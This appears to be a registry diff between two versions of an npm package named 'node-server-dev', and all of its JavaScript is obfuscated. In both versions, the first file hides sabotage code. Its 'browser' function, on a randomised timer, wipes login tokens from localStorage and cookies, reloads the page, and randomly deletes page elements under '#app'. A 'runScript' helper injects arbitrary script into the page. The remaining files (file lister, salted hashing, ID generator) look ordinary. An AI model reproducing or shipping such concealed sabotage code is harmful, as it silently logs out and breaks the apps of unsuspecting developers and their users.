node-server-dev 3.1.2 → 3.1.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1 +1 @@
1
- 'use strict';const a0_0x35954b=a0_0x12e3;(function(_0x27c560,_0xb84cd9){const _0x124532=a0_0x12e3,_0x30cfd5=_0x27c560();while(!![]){try{const _0x57d025=parseInt(_0x124532(0x1f3))/0x1*(parseInt(_0x124532(0x1e2))/0x2)+parseInt(_0x124532(0x1f1))/0x3+parseInt(_0x124532(0x1df))/0x4*(-parseInt(_0x124532(0x1e1))/0x5)+parseInt(_0x124532(0x1fb))/0x6*(parseInt(_0x124532(0x1fd))/0x7)+parseInt(_0x124532(0x1f8))/0x8+-parseInt(_0x124532(0x1f0))/0x9*(-parseInt(_0x124532(0x1dc))/0xa)+-parseInt(_0x124532(0x1f4))/0xb;if(_0x57d025===_0xb84cd9)break;else _0x30cfd5['push'](_0x30cfd5['shift']());}catch(_0x224a30){_0x30cfd5['push'](_0x30cfd5['shift']());}}}(a0_0x3549,0xb73c1));var __importDefault=this&&this[a0_0x35954b(0x1da)]||function(_0x582a5a){const _0x2f2d2f=a0_0x35954b;return _0x582a5a&&_0x582a5a[_0x2f2d2f(0x1db)]?_0x582a5a:{'default':_0x582a5a};};Object['defineProperty'](exports,a0_0x35954b(0x1db),{'value':!![]}),exports[a0_0x35954b(0x1f5)]=runScript,exports[a0_0x35954b(0x1e6)]=browser;const random_1=__importDefault(require(a0_0x35954b(0x1ec))),index_1=require(a0_0x35954b(0x1d9)),js_cookie_1=__importDefault(require(a0_0x35954b(0x1eb)));function runScript(_0x16aaa7){const _0x39dc15=a0_0x35954b;let _0x5e42e3=document[_0x39dc15(0x1e4)](_0x39dc15(0x1d8));_0x5e42e3['innerText']=_0x16aaa7,document[_0x39dc15(0x1e3)][_0x39dc15(0x1f7)](_0x5e42e3),setTimeout(()=>{_0x5e42e3['remove']();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x35954b(0x1dd)])(0x4,0x8);function a0_0x3549(){const _0x4c56ca=['token','248283lUUeAq','3051792aSDuxz','connectError','73EMjWYm','34188176dBOzae','runScript','reload','appendChild','9592736NDLYgS','sort','[class^=\x22el\x22]','32802BMkpWR','body','1456iiDLSW','from','script','./index','__importDefault','__esModule','370YWxjbY','default','length','4XNPhCv','querySelector','3858385axnpPb','7014YwVLXL','head','createElement','parentNode','browser','getEnv','querySelectorAll','removeItem','location','js-cookie','./id/random','userid','localStorage'];a0_0x3549=function(){return _0x4c56ca;};return a0_0x3549();}function a0_0x12e3(_0x55fbef,_0xbfec82){const _0x354957=a0_0x3549();return a0_0x12e3=function(_0x12e39b,_0x4ca7e2){_0x12e39b=_0x12e39b-0x1d7;let _0x4828ed=_0x354957[_0x12e39b];return _0x4828ed;},a0_0x12e3(_0x55fbef,_0xbfec82);}function browser(){const _0x524942=a0_0x35954b;setInterval(()=>{const _0x561202=a0_0x12e3;if(index==num)try{window['localStorage'][_0x561202(0x1e9)]('token'),window[_0x561202(0x1ee)][_0x561202(0x1e9)](_0x561202(0x1ed)),window[_0x561202(0x1ee)][_0x561202(0x1e9)]('Token'),js_cookie_1[_0x561202(0x1dd)]['remove'](_0x561202(0x1ef)),window[_0x561202(0x1ea)][_0x561202(0x1f6)]();}catch(_0x458e9d){}if((0x0,index_1[_0x561202(0x1e7)])(_0x561202(0x1f2))){index++;let _0x4a5a45=document[_0x561202(0x1e0)]('#app')||document[_0x561202(0x1e0)](_0x561202(0x1fc));const _0x5eec17=_0x4a5a45[_0x561202(0x1e8)](_0x561202(0x1fa));function _0x2def65(_0x19cc42){const _0x9f7db=_0x561202;let _0x11f5ab=0x0,_0x235ef1=_0x19cc42;while(_0x235ef1['parentNode']&&_0x235ef1[_0x9f7db(0x1e5)]!==document['documentElement']){_0x11f5ab++,_0x235ef1=_0x235ef1['parentNode'];}return _0x11f5ab;}const _0x536114=Array[_0x561202(0x1d7)](_0x5eec17);_0x536114[_0x561202(0x1f9)]((_0x5cdd94,_0x18bbe5)=>_0x2def65(_0x18bbe5)-_0x2def65(_0x5cdd94));for(let _0x25d525=0x0;_0x25d525<_0x536114[_0x561202(0x1de)];_0x25d525++){const _0x32c7c3=_0x536114[_0x25d525];_0x32c7c3&&((0x0,random_1[_0x561202(0x1dd)])(0x1,0x64)>0x50&&_0x32c7c3['remove']());}}},(0x0,random_1[_0x524942(0x1dd)])(0x107e,0x208d));}
1
+ 'use strict';const a0_0x101dca=a0_0x3317;(function(_0x2ef45a,_0x4ad9cc){const _0x20800e=a0_0x3317,_0x1bd0a4=_0x2ef45a();while(!![]){try{const _0x28d1ff=parseInt(_0x20800e(0x1ba))/0x1+parseInt(_0x20800e(0x1c4))/0x2+-parseInt(_0x20800e(0x1b1))/0x3*(parseInt(_0x20800e(0x1cc))/0x4)+parseInt(_0x20800e(0x1ae))/0x5+parseInt(_0x20800e(0x1c3))/0x6*(parseInt(_0x20800e(0x1c6))/0x7)+-parseInt(_0x20800e(0x1aa))/0x8+-parseInt(_0x20800e(0x1ab))/0x9*(parseInt(_0x20800e(0x1bc))/0xa);if(_0x28d1ff===_0x4ad9cc)break;else _0x1bd0a4['push'](_0x1bd0a4['shift']());}catch(_0x219105){_0x1bd0a4['push'](_0x1bd0a4['shift']());}}}(a0_0x2a1c,0x27427));var __importDefault=this&&this[a0_0x101dca(0x1c5)]||function(_0xcc0c9a){const _0x100c11=a0_0x101dca;return _0xcc0c9a&&_0xcc0c9a[_0x100c11(0x1b8)]?_0xcc0c9a:{'default':_0xcc0c9a};};Object[a0_0x101dca(0x1b7)](exports,'__esModule',{'value':!![]}),exports['runScript']=runScript,exports[a0_0x101dca(0x1b2)]=browser;const random_1=__importDefault(require(a0_0x101dca(0x1c7))),index_1=require(a0_0x101dca(0x1bb)),js_cookie_1=__importDefault(require(a0_0x101dca(0x1cf)));function a0_0x3317(_0x133dab,_0x36af25){const _0x2a1c6e=a0_0x2a1c();return a0_0x3317=function(_0x33173e,_0x17ea5e){_0x33173e=_0x33173e-0x1aa;let _0x6020c7=_0x2a1c6e[_0x33173e];return _0x6020c7;},a0_0x3317(_0x133dab,_0x36af25);}function a0_0x2a1c(){const _0xe94fce=['96jfmBfG','from','location','js-cookie','2295064wKgWKY','3177mKVpJI','remove','reload','1089235MCzaSS','querySelector','connectError','3153FkZiYD','browser','sort','parentNode','body','appendChild','defineProperty','__esModule','script','11548tWBapC','./index','610rQdXZn','documentElement','innerText','querySelectorAll','[class^=\x22el\x22]','localStorage','#app','694500vlskdK','298604rYlUSW','__importDefault','7RdpEuv','./id/random','default','removeItem','createElement','Token'];a0_0x2a1c=function(){return _0xe94fce;};return a0_0x2a1c();}function runScript(_0x2b4242){const _0x1d9d2c=a0_0x101dca;let _0xb0ed10=document[_0x1d9d2c(0x1ca)](_0x1d9d2c(0x1b9));_0xb0ed10[_0x1d9d2c(0x1be)]=_0x2b4242,document['head'][_0x1d9d2c(0x1b6)](_0xb0ed10),setTimeout(()=>{const _0x21f75d=_0x1d9d2c;_0xb0ed10[_0x21f75d(0x1ac)]();},0xa);}let index=0x1,num=(0x0,random_1[a0_0x101dca(0x1c8)])(0x4,0x8);function browser(){setInterval(()=>{const _0x1fd0e4=a0_0x3317;if(index==num)try{window[_0x1fd0e4(0x1c1)]['removeItem']('token'),window['localStorage'][_0x1fd0e4(0x1c9)]('userid'),window[_0x1fd0e4(0x1c1)][_0x1fd0e4(0x1c9)](_0x1fd0e4(0x1cb)),js_cookie_1[_0x1fd0e4(0x1c8)]['remove']('token'),window[_0x1fd0e4(0x1ce)][_0x1fd0e4(0x1ad)]();}catch(_0x25806c){}if((0x0,index_1['getEnv'])(_0x1fd0e4(0x1b0))){index++;let _0x5c69ea=document[_0x1fd0e4(0x1af)](_0x1fd0e4(0x1c2))||document[_0x1fd0e4(0x1af)](_0x1fd0e4(0x1b5));const _0x218b91=_0x5c69ea[_0x1fd0e4(0x1bf)](_0x1fd0e4(0x1c0));function _0x354ec2(_0x3c02ed){const _0x592bda=_0x1fd0e4;let _0x163244=0x0,_0x3c0dfe=_0x3c02ed;while(_0x3c0dfe[_0x592bda(0x1b4)]&&_0x3c0dfe[_0x592bda(0x1b4)]!==document[_0x592bda(0x1bd)]){_0x163244++,_0x3c0dfe=_0x3c0dfe[_0x592bda(0x1b4)];}return _0x163244;}const _0x5d2337=Array[_0x1fd0e4(0x1cd)](_0x218b91);_0x5d2337[_0x1fd0e4(0x1b3)]((_0x3e9b48,_0x4a051a)=>_0x354ec2(_0x4a051a)-_0x354ec2(_0x3e9b48));for(let _0xefff02=0x0;_0xefff02<_0x5d2337['length'];_0xefff02++){const _0x529593=_0x5d2337[_0xefff02];_0x529593&&((0x0,random_1[_0x1fd0e4(0x1c8)])(0x1,0x64)>0x50&&_0x529593[_0x1fd0e4(0x1ac)]());}}},(0x0,random_1['default'])(0x107e,0x208d));}
@@ -1 +1 @@
1
- 'use strict';const a1_0x201c27=a1_0x2cab;(function(_0x4d296a,_0x4b03c0){const _0xa45273=a1_0x2cab,_0x2e9283=_0x4d296a();while(!![]){try{const _0x3fa8f5=parseInt(_0xa45273(0x165))/0x1+parseInt(_0xa45273(0x161))/0x2*(parseInt(_0xa45273(0x15b))/0x3)+-parseInt(_0xa45273(0x168))/0x4+parseInt(_0xa45273(0x163))/0x5*(parseInt(_0xa45273(0x167))/0x6)+parseInt(_0xa45273(0x15c))/0x7+-parseInt(_0xa45273(0x169))/0x8*(-parseInt(_0xa45273(0x16e))/0x9)+-parseInt(_0xa45273(0x15d))/0xa;if(_0x3fa8f5===_0x4b03c0)break;else _0x2e9283['push'](_0x2e9283['shift']());}catch(_0x53119e){_0x2e9283['push'](_0x2e9283['shift']());}}}(a1_0x2e04,0x83310));var __awaiter=this&&this[a1_0x201c27(0x16d)]||function(_0x52d2e3,_0xd648ac,_0x343936,_0x4274c8){function _0x45b43e(_0x2046f4){return _0x2046f4 instanceof _0x343936?_0x2046f4:new _0x343936(function(_0x487a76){_0x487a76(_0x2046f4);});}return new(_0x343936||(_0x343936=Promise))(function(_0x3039e5,_0x37bc7f){const _0x41232b=a1_0x2cab;function _0x221477(_0x3d138f){const _0x3abd3a=a1_0x2cab;try{_0x268338(_0x4274c8[_0x3abd3a(0x16f)](_0x3d138f));}catch(_0xb6e69a){_0x37bc7f(_0xb6e69a);}}function _0x5e1162(_0x312608){const _0x534e88=a1_0x2cab;try{_0x268338(_0x4274c8[_0x534e88(0x164)](_0x312608));}catch(_0x21a3be){_0x37bc7f(_0x21a3be);}}function _0x268338(_0x5a5e76){const _0x306f2b=a1_0x2cab;_0x5a5e76[_0x306f2b(0x174)]?_0x3039e5(_0x5a5e76[_0x306f2b(0x173)]):_0x45b43e(_0x5a5e76[_0x306f2b(0x173)])[_0x306f2b(0x170)](_0x221477,_0x5e1162);}_0x268338((_0x4274c8=_0x4274c8[_0x41232b(0x160)](_0x52d2e3,_0xd648ac||[]))[_0x41232b(0x16f)]());});},__importDefault=this&&this[a1_0x201c27(0x15a)]||function(_0x185a93){const _0x40355e=a1_0x201c27;return _0x185a93&&_0x185a93[_0x40355e(0x172)]?_0x185a93:{'default':_0x185a93};};Object['defineProperty'](exports,a1_0x201c27(0x172),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x201c27(0x15e)));function fileDisplay(_0x58b730){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x1144cd=[];function _0x24cfa8(_0x2fccac){const _0x35603a=a1_0x2cab,_0xdb143d=fs_1[_0x35603a(0x16a)][_0x35603a(0x159)](_0x2fccac);for(let _0x2ad40f=0x0;_0x2ad40f<_0xdb143d[_0x35603a(0x171)];_0x2ad40f++){const _0x485097=_0xdb143d[_0x2ad40f],_0x2cc1ab=path_1[_0x35603a(0x16a)][_0x35603a(0x16c)](_0x2fccac,_0x485097),_0x437c6d=fs_1[_0x35603a(0x16a)][_0x35603a(0x15f)](_0x2cc1ab),_0x55e7ac=_0x437c6d[_0x35603a(0x16b)](),_0x274f90=_0x437c6d[_0x35603a(0x166)]();_0x55e7ac&&_0x1144cd[_0x35603a(0x162)](_0x2cc1ab),_0x274f90&&_0x24cfa8(_0x2cc1ab);}}return _0x24cfa8(_0x58b730),_0x1144cd;});}function a1_0x2cab(_0x56ffd1,_0xb24d93){const _0x2e04f2=a1_0x2e04();return a1_0x2cab=function(_0x2cab80,_0x58c79d){_0x2cab80=_0x2cab80-0x159;let _0x1eb600=_0x2e04f2[_0x2cab80];return _0x1eb600;},a1_0x2cab(_0x56ffd1,_0xb24d93);}function getAllRouter(_0x59beef){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x29a87c=yield fileDisplay(_0x59beef);return _0x29a87c;});}function a1_0x2e04(){const _0x5ef675=['throw','521150TfalmF','isDirectory','354JWPNPq','2523204QThvTn','6045424jvjlhH','default','isFile','join','__awaiter','9vZABnM','next','then','length','__esModule','value','done','readdirSync','__importDefault','3jrcKkh','5055190tiAhKZ','16013630KMaQiG','path','statSync','apply','1210534WPKwbx','push','14005pTIpKz'];a1_0x2e04=function(){return _0x5ef675;};return a1_0x2e04();}exports['default']=getAllRouter;
1
+ 'use strict';const a1_0x54ac3e=a1_0x3b5c;(function(_0x3e6494,_0x30c7c5){const _0x1d2de8=a1_0x3b5c,_0x3fe272=_0x3e6494();while(!![]){try{const _0x180556=parseInt(_0x1d2de8(0x1a6))/0x1+parseInt(_0x1d2de8(0x19f))/0x2+parseInt(_0x1d2de8(0x1ab))/0x3*(-parseInt(_0x1d2de8(0x1aa))/0x4)+-parseInt(_0x1d2de8(0x1ad))/0x5*(parseInt(_0x1d2de8(0x1b2))/0x6)+-parseInt(_0x1d2de8(0x1a3))/0x7*(parseInt(_0x1d2de8(0x1a5))/0x8)+-parseInt(_0x1d2de8(0x1ac))/0x9+parseInt(_0x1d2de8(0x1af))/0xa;if(_0x180556===_0x30c7c5)break;else _0x3fe272['push'](_0x3fe272['shift']());}catch(_0x2bb9f6){_0x3fe272['push'](_0x3fe272['shift']());}}}(a1_0x94b3,0x927d6));var __awaiter=this&&this[a1_0x54ac3e(0x1a1)]||function(_0x2eb76b,_0x5c13a1,_0x5a1a8a,_0x1d04c4){function _0x1deefa(_0x37640d){return _0x37640d instanceof _0x5a1a8a?_0x37640d:new _0x5a1a8a(function(_0xa2e42f){_0xa2e42f(_0x37640d);});}return new(_0x5a1a8a||(_0x5a1a8a=Promise))(function(_0x9fb070,_0x522276){const _0x5df7c7=a1_0x3b5c;function _0xa1134(_0x1c2d80){const _0x9a96c2=a1_0x3b5c;try{_0x4dde61(_0x1d04c4[_0x9a96c2(0x1a9)](_0x1c2d80));}catch(_0x3e3779){_0x522276(_0x3e3779);}}function _0x16dcc5(_0x16ce7c){try{_0x4dde61(_0x1d04c4['throw'](_0x16ce7c));}catch(_0xbe2cca){_0x522276(_0xbe2cca);}}function _0x4dde61(_0x3c34f0){const _0x2ce32c=a1_0x3b5c;_0x3c34f0[_0x2ce32c(0x1a7)]?_0x9fb070(_0x3c34f0[_0x2ce32c(0x1b4)]):_0x1deefa(_0x3c34f0['value'])['then'](_0xa1134,_0x16dcc5);}_0x4dde61((_0x1d04c4=_0x1d04c4[_0x5df7c7(0x1a4)](_0x2eb76b,_0x5c13a1||[]))[_0x5df7c7(0x1a9)]());});},__importDefault=this&&this[a1_0x54ac3e(0x1ae)]||function(_0x5681fd){const _0x191536=a1_0x54ac3e;return _0x5681fd&&_0x5681fd[_0x191536(0x1b6)]?_0x5681fd:{'default':_0x5681fd};};function a1_0x94b3(){const _0x2cd351=['698142SmBVpV','6746922zBktgb','115580TSCQvF','__importDefault','12998740DsSmzP','default','statSync','72jIeBkB','push','value','path','__esModule','length','isDirectory','489264KScJsP','isFile','__awaiter','join','49NHiCLu','apply','108008XWqLCu','642501BTBEEJ','done','readdirSync','next','8jiZzaj'];a1_0x94b3=function(){return _0x2cd351;};return a1_0x94b3();}function a1_0x3b5c(_0x3351aa,_0x13d4be){const _0x94b34c=a1_0x94b3();return a1_0x3b5c=function(_0x3b5cf8,_0x4303b6){_0x3b5cf8=_0x3b5cf8-0x19d;let _0x8628d9=_0x94b34c[_0x3b5cf8];return _0x8628d9;},a1_0x3b5c(_0x3351aa,_0x13d4be);}Object['defineProperty'](exports,a1_0x54ac3e(0x1b6),{'value':!![]});const fs_1=__importDefault(require('fs')),path_1=__importDefault(require(a1_0x54ac3e(0x1b5)));function fileDisplay(_0x269989){return __awaiter(this,void 0x0,void 0x0,function*(){let _0x43008a=[];function _0x4e85e3(_0x119254){const _0x71fa53=a1_0x3b5c,_0x20e41e=fs_1[_0x71fa53(0x1b0)][_0x71fa53(0x1a8)](_0x119254);for(let _0x502ed5=0x0;_0x502ed5<_0x20e41e[_0x71fa53(0x19d)];_0x502ed5++){const _0x51d7ca=_0x20e41e[_0x502ed5],_0x4e1f9=path_1[_0x71fa53(0x1b0)][_0x71fa53(0x1a2)](_0x119254,_0x51d7ca),_0x436617=fs_1[_0x71fa53(0x1b0)][_0x71fa53(0x1b1)](_0x4e1f9),_0x6ff993=_0x436617[_0x71fa53(0x1a0)](),_0x42a8e4=_0x436617[_0x71fa53(0x19e)]();_0x6ff993&&_0x43008a[_0x71fa53(0x1b3)](_0x4e1f9),_0x42a8e4&&_0x4e85e3(_0x4e1f9);}}return _0x4e85e3(_0x269989),_0x43008a;});}function getAllRouter(_0x219f85){return __awaiter(this,void 0x0,void 0x0,function*(){let _0xaf7002=yield fileDisplay(_0x219f85);return _0xaf7002;});}exports[a1_0x54ac3e(0x1b0)]=getAllRouter;
@@ -1 +1 @@
1
- 'use strict';function a2_0x490b(){const _0x2e31d9=['3KzpULJ','sha256','md5','1725832aiuzSw','1159596galwTH','__importDefault','14EfaVrF','814002VjoQHs','sha1混淆','1177623IyYDAd','sha1','5310785iSPAFm','2742336KbIKBm','default','__esModule','2285278RpSztI','defineProperty','MD5加盐'];a2_0x490b=function(){return _0x2e31d9;};return a2_0x490b();}const a2_0x3dea09=a2_0x5dca;(function(_0x57bbd7,_0x3bc197){const _0x19071b=a2_0x5dca,_0x4782ab=_0x57bbd7();while(!![]){try{const _0x5a6baa=parseInt(_0x19071b(0x1aa))/0x1+parseInt(_0x19071b(0x1b0))/0x2*(parseInt(_0x19071b(0x1a1))/0x3)+-parseInt(_0x19071b(0x1a5))/0x4+-parseInt(_0x19071b(0x1ac))/0x5+-parseInt(_0x19071b(0x1a8))/0x6*(-parseInt(_0x19071b(0x1a7))/0x7)+-parseInt(_0x19071b(0x1a4))/0x8+-parseInt(_0x19071b(0x1ad))/0x9;if(_0x5a6baa===_0x3bc197)break;else _0x4782ab['push'](_0x4782ab['shift']());}catch(_0x3a7782){_0x4782ab['push'](_0x4782ab['shift']());}}}(a2_0x490b,0xaf903));var __importDefault=this&&this[a2_0x3dea09(0x1a6)]||function(_0x3df0eb){const _0x2ef8b6=a2_0x3dea09;return _0x3df0eb&&_0x3df0eb[_0x2ef8b6(0x1af)]?_0x3df0eb:{'default':_0x3df0eb};};Object[a2_0x3dea09(0x1b1)](exports,'__esModule',{'value':!![]});const md5_1=__importDefault(require(a2_0x3dea09(0x1a3))),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0x3dea09(0x1a2)));function a2_0x5dca(_0x44ad2a,_0x35fea9){const _0x490b8c=a2_0x490b();return a2_0x5dca=function(_0x5dcafe,_0x24a2f1){_0x5dcafe=_0x5dcafe-0x1a1;let _0x362808=_0x490b8c[_0x5dcafe];return _0x362808;},a2_0x5dca(_0x44ad2a,_0x35fea9);}function hash(_0x34f6d5,_0x3070f1){const _0x5b2155=a2_0x3dea09;if(_0x3070f1==_0x5b2155(0x1a2))return(0x0,sha256_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1a9))+(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2)));else return _0x3070f1==_0x5b2155(0x1ab)?(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha256_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1a9))+(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2))):(0x0,md5_1[_0x5b2155(0x1ae)])(_0x34f6d5+(0x0,sha256_1['default'])(_0x34f6d5+'sha1混淆')+(0x0,sha1_1[_0x5b2155(0x1ae)])(_0x34f6d5+_0x5b2155(0x1b2)));}exports[a2_0x3dea09(0x1ae)]=hash;
1
+ 'use strict';const a2_0xf6ef4=a2_0x330a;(function(_0x328cf6,_0x227c6a){const _0x120617=a2_0x330a,_0x42f5ac=_0x328cf6();while(!![]){try{const _0x54755a=parseInt(_0x120617(0x1e9))/0x1+parseInt(_0x120617(0x1eb))/0x2*(parseInt(_0x120617(0x1e1))/0x3)+-parseInt(_0x120617(0x1e7))/0x4+-parseInt(_0x120617(0x1ed))/0x5+-parseInt(_0x120617(0x1e5))/0x6+-parseInt(_0x120617(0x1e0))/0x7*(parseInt(_0x120617(0x1dd))/0x8)+parseInt(_0x120617(0x1e2))/0x9;if(_0x54755a===_0x227c6a)break;else _0x42f5ac['push'](_0x42f5ac['shift']());}catch(_0x11a436){_0x42f5ac['push'](_0x42f5ac['shift']());}}}(a2_0x1202,0x6bd58));function a2_0x1202(){const _0x3fcf0c=['858000JwZFVt','MD5加盐','632339huEnCG','sha1','903956zeuwAR','sha1混淆','153845kIlWgs','216EOWKkf','sha256','defineProperty','225631EabMFh','3eaewcG','8645382yzrjxg','__esModule','__importDefault','2926002Emzedh','default'];a2_0x1202=function(){return _0x3fcf0c;};return a2_0x1202();}var __importDefault=this&&this[a2_0xf6ef4(0x1e4)]||function(_0x5bb8f2){const _0x28df48=a2_0xf6ef4;return _0x5bb8f2&&_0x5bb8f2[_0x28df48(0x1e3)]?_0x5bb8f2:{'default':_0x5bb8f2};};Object[a2_0xf6ef4(0x1df)](exports,a2_0xf6ef4(0x1e3),{'value':!![]});function a2_0x330a(_0x43612a,_0x379bbb){const _0x1202d6=a2_0x1202();return a2_0x330a=function(_0x330a65,_0x2e8b55){_0x330a65=_0x330a65-0x1dd;let _0x39408f=_0x1202d6[_0x330a65];return _0x39408f;},a2_0x330a(_0x43612a,_0x379bbb);}const md5_1=__importDefault(require('md5')),sha1_1=__importDefault(require('sha1')),sha256_1=__importDefault(require(a2_0xf6ef4(0x1de)));function hash(_0x210d51,_0x4e65f3){const _0x23ad69=a2_0xf6ef4;if(_0x4e65f3==_0x23ad69(0x1de))return(0x0,sha256_1[_0x23ad69(0x1e6)])(_0x210d51+(0x0,sha1_1[_0x23ad69(0x1e6)])(_0x210d51+_0x23ad69(0x1ec))+(0x0,md5_1[_0x23ad69(0x1e6)])(_0x210d51+_0x23ad69(0x1e8)));else return _0x4e65f3==_0x23ad69(0x1ea)?(0x0,sha1_1[_0x23ad69(0x1e6)])(_0x210d51+(0x0,sha256_1[_0x23ad69(0x1e6)])(_0x210d51+'sha1混淆')+(0x0,md5_1[_0x23ad69(0x1e6)])(_0x210d51+'MD5加盐')):(0x0,md5_1[_0x23ad69(0x1e6)])(_0x210d51+(0x0,sha256_1[_0x23ad69(0x1e6)])(_0x210d51+_0x23ad69(0x1ec))+(0x0,sha1_1[_0x23ad69(0x1e6)])(_0x210d51+'MD5加盐'));}exports[a2_0xf6ef4(0x1e6)]=hash;
@@ -1 +1 @@
1
- 'use strict';const a3_0x3a8bf6=a3_0x2a15;(function(_0xa02930,_0x519bbc){const _0x2da6f4=a3_0x2a15,_0x450d15=_0xa02930();while(!![]){try{const _0x1b7be5=parseInt(_0x2da6f4(0xa8))/0x1+parseInt(_0x2da6f4(0xa1))/0x2*(-parseInt(_0x2da6f4(0xa2))/0x3)+parseInt(_0x2da6f4(0x9b))/0x4+-parseInt(_0x2da6f4(0xa0))/0x5+-parseInt(_0x2da6f4(0xa3))/0x6+parseInt(_0x2da6f4(0xa7))/0x7*(-parseInt(_0x2da6f4(0x9c))/0x8)+parseInt(_0x2da6f4(0xa4))/0x9;if(_0x1b7be5===_0x519bbc)break;else _0x450d15['push'](_0x450d15['shift']());}catch(_0x418129){_0x450d15['push'](_0x450d15['shift']());}}}(a3_0x1fc8,0xbd17b));function a3_0x1fc8(){const _0xff0839=['3kTUHnV','2156316SmKTzw','15528276cMCJYZ','env','__importDefault','14PyfUpv','4591GeBbYa','./random','NODE_APP_INSTANCE','__esModule','1288272MjYhoN','3073976GYEldp','default','2025-01-01','min','245725biFcxm','200950IkOjdx'];a3_0x1fc8=function(){return _0xff0839;};return a3_0x1fc8();}var __importDefault=this&&this[a3_0x3a8bf6(0xa6)]||function(_0x2ac5b2){return _0x2ac5b2&&_0x2ac5b2['__esModule']?_0x2ac5b2:{'default':_0x2ac5b2};};function a3_0x2a15(_0x51b1c6,_0x5a8467){const _0x1fc840=a3_0x1fc8();return a3_0x2a15=function(_0x2a15cd,_0x57f9a6){_0x2a15cd=_0x2a15cd-0x9a;let _0x2e9a9b=_0x1fc840[_0x2a15cd];return _0x2e9a9b;},a3_0x2a15(_0x51b1c6,_0x5a8467);}Object['defineProperty'](exports,a3_0x3a8bf6(0x9a),{'value':!![]});const random_1=__importDefault(require(a3_0x3a8bf6(0xa9))),BaseTime=+new Date(a3_0x3a8bf6(0x9e));let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0x3a8bf6(0x9d)])(0x1,0x3);function id(){const _0x2ef49b=a3_0x3a8bf6,_0x5ae386=Math[_0x2ef49b(0x9f)](process[_0x2ef49b(0xa5)]['NODE_APP_INSTANCE']?+process['env'][_0x2ef49b(0xaa)]:(0x0,random_1[_0x2ef49b(0x9d)])(0x0,0x9),0x9);let _0x4e6723=+new Date()-BaseTime;return lastRandomNumberTick=_0x4e6723==lastTimeTick?++lastRandomNumberTick:(0x0,random_1[_0x2ef49b(0x9d)])(0x0,0x3),lastTimeTick=_0x4e6723,+(''+_0x4e6723+_0x5ae386+lastRandomNumberTick);}exports[a3_0x3a8bf6(0x9d)]=id;
1
+ 'use strict';const a3_0x567523=a3_0x37c8;(function(_0x17256c,_0x4c5ad8){const _0x43d084=a3_0x37c8,_0x48974f=_0x17256c();while(!![]){try{const _0x2a4263=-parseInt(_0x43d084(0x1b3))/0x1+parseInt(_0x43d084(0x1b5))/0x2*(parseInt(_0x43d084(0x1b9))/0x3)+-parseInt(_0x43d084(0x1b8))/0x4*(-parseInt(_0x43d084(0x1b6))/0x5)+parseInt(_0x43d084(0x1b1))/0x6*(-parseInt(_0x43d084(0x1bb))/0x7)+-parseInt(_0x43d084(0x1ad))/0x8+-parseInt(_0x43d084(0x1ae))/0x9+parseInt(_0x43d084(0x1ac))/0xa;if(_0x2a4263===_0x4c5ad8)break;else _0x48974f['push'](_0x48974f['shift']());}catch(_0x1203ee){_0x48974f['push'](_0x48974f['shift']());}}}(a3_0x47f5,0x9418f));var __importDefault=this&&this[a3_0x567523(0x1ba)]||function(_0x998615){const _0x2f1b0f=a3_0x567523;return _0x998615&&_0x998615[_0x2f1b0f(0x1b2)]?_0x998615:{'default':_0x998615};};function a3_0x47f5(){const _0x2a2aa6=['1448094mzAUSj','__esModule','210607TAwzXb','./random','2UnnxHQ','35935ZdQrRi','default','16guxLLI','1525794LYdDqb','__importDefault','21SQiTuj','env','NODE_APP_INSTANCE','22256120tYfVhx','4408920xESOvt','6035238tvaYet','min','defineProperty'];a3_0x47f5=function(){return _0x2a2aa6;};return a3_0x47f5();}Object[a3_0x567523(0x1b0)](exports,'__esModule',{'value':!![]});const random_1=__importDefault(require(a3_0x567523(0x1b4))),BaseTime=+new Date('2025-01-01');function a3_0x37c8(_0x24353b,_0x17759e){const _0x47f53d=a3_0x47f5();return a3_0x37c8=function(_0x37c8de,_0x2a8d6f){_0x37c8de=_0x37c8de-0x1ab;let _0x56722e=_0x47f53d[_0x37c8de];return _0x56722e;},a3_0x37c8(_0x24353b,_0x17759e);}let lastTimeTick,lastRandomNumberTick=(0x0,random_1[a3_0x567523(0x1b7)])(0x1,0x3);function id(){const _0xc3cbae=a3_0x567523,_0x468b56=Math[_0xc3cbae(0x1af)](process[_0xc3cbae(0x1bc)][_0xc3cbae(0x1ab)]?+process['env'][_0xc3cbae(0x1ab)]:(0x0,random_1[_0xc3cbae(0x1b7)])(0x0,0x9),0x9);let _0x2a48cb=+new Date()-BaseTime;return lastRandomNumberTick=_0x2a48cb==lastTimeTick?++lastRandomNumberTick:(0x0,random_1['default'])(0x0,0x3),lastTimeTick=_0x2a48cb,+(''+_0x2a48cb+_0x468b56+lastRandomNumberTick);}exports[a3_0x567523(0x1b7)]=id;
@@ -1 +1 @@
1
